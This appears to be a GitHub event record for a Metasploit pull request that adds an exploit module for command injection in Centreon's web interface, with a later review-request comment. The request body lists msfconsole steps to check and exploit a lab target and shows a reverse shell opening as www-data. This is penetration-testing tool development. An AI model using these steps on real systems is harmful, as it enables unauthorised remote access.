{"action":"created","issue":{"url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/6965","repository_url":"https://api.github.com/repos/rapid7/metasploit-framework","labels_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/6965/labels{/name}","comments_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/6965/comments","events_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/6965/events","html_url":"https://github.com/rapid7/metasploit-framework/pull/6965","id":159801333,"number":6965,"title":"centreon useralias exec","user":{"login":"h00die","id":752491,"avatar_url":"https://avatars.githubusercontent.com/u/752491?v=3","gravatar_id":"","url":"https://api.github.com/users/h00die","html_url":"https://github.com/h00die","followers_url":"https://api.github.com/users/h00die/followers","following_url":"https://api.github.com/users/h00die/following{/other_user}","gists_url":"https://api.github.com/users/h00die/gists{/gist_id}","starred_url":"https://api.github.com/users/h00die/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/h00die/subscriptions","organizations_url":"https://api.github.com/users/h00die/orgs","repos_url":"https://api.github.com/users/h00die/repos","events_url":"https://api.github.com/users/h00die/events{/privacy}","received_events_url":"https://api.github.com/users/h00die/received_events","type":"User","site_admin":false},"labels":[{"url":"https://api.github.com/repos/rapid7/metasploit-framework/labels/docs","name":"docs","color":"fef2c0"},{"url":"https://api.github.com/repos/rapid7/metasploit-framework/labels/feature","name":"feature","color":"bfe5bf"},{"url":"https://api.github.com/repos/rapid7/metasploit-framework/labels/module","name":"module","color":"eb6420"}],"state":"open","locked":false,"assignee":null,"milestone":null,"comments":2,"created_at":"2016-06-12T01:03:46Z","updated_at":"2016-06-20T21:53:54Z","closed_at":null,"pull_request":{"url":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/6965","html_url":"https://github.com/rapid7/metasploit-framework/pull/6965","diff_url":"https://github.com/rapid7/metasploit-framework/pull/6965.diff","patch_url":"https://github.com/rapid7/metasploit-framework/pull/6965.patch"},"body":"Adds exploit for Centreon web command injection as documented in [EDB 39501](https://www.exploit-db.com/exploits/39501/)\r\n\r\nThis application had many steps to get installed and working.  Please see the doc, as it will assist with links to get your environment installed.  I think it took me a little over an hour to install all the components and get the website to load.\r\n\r\n## Verification\r\n\r\nList the steps needed to make sure this thing works\r\n\r\n- [ ] Start `msfconsole`\r\n- [ ] Do: ```use exploit/linux/http/centreon_useralias_exec```\r\n- [ ] Do: ```set payload```\r\n- [ ] Do: ```set rhost```\r\n- [ ] Do: ```set verbose true```\r\n- [ ] Do: ```check```\r\n```\r\n  [+] Version Detected: 2.5.3\r\n  [*] 192.168.2.85:80 The target appears to be vulnerable.\r\n```\r\n- [ ] Do: ```exploit```\r\n- [ ] **Verify** the thing does what it should\r\n```\r\n  [*] Started reverse TCP handler on 192.168.2.229:4444 \r\n  [*] Sending malicious login\r\n  [*] Command shell session 1 opened (192.168.2.229:4444 -> 192.168.2.85:36792) at 2016-06-11 20:44:57 -0400\r\n  whoami\r\n  www-data\r\n  uname -a\r\n  Linux centreon 4.4.0-21-generic #37-Ubuntu SMP Mon Apr 18 18:33:37 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux\r\n```"},"comment":{"url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/comments/227281557","html_url":"https://github.com/rapid7/metasploit-framework/pull/6965#issuecomment-227281557","issue_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/6965","id":227281557,"user":{"login":"h00die","id":752491,"avatar_url":"https://avatars.githubusercontent.com/u/752491?v=3","gravatar_id":"","url":"https://api.github.com/users/h00die","html_url":"https://github.com/h00die","followers_url":"https://api.github.com/users/h00die/followers","following_url":"https://api.github.com/users/h00die/following{/other_user}","gists_url":"https://api.github.com/users/h00die/gists{/gist_id}","starred_url":"https://api.github.com/users/h00die/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/h00die/subscriptions","organizations_url":"https://api.github.com/users/h00die/orgs","repos_url":"https://api.github.com/users/h00die/repos","events_url":"https://api.github.com/users/h00die/events{/privacy}","received_events_url":"https://api.github.com/users/h00die/received_events","type":"User","site_admin":false},"created_at":"2016-06-20T21:53:54Z","updated_at":"2016-06-20T21:53:54Z","body":"@bwatters-r7 I know how much you love setting up difficult/multi-step software packages.  this one screams your name!"}}
{"actor":{"display_login":"h00die"}}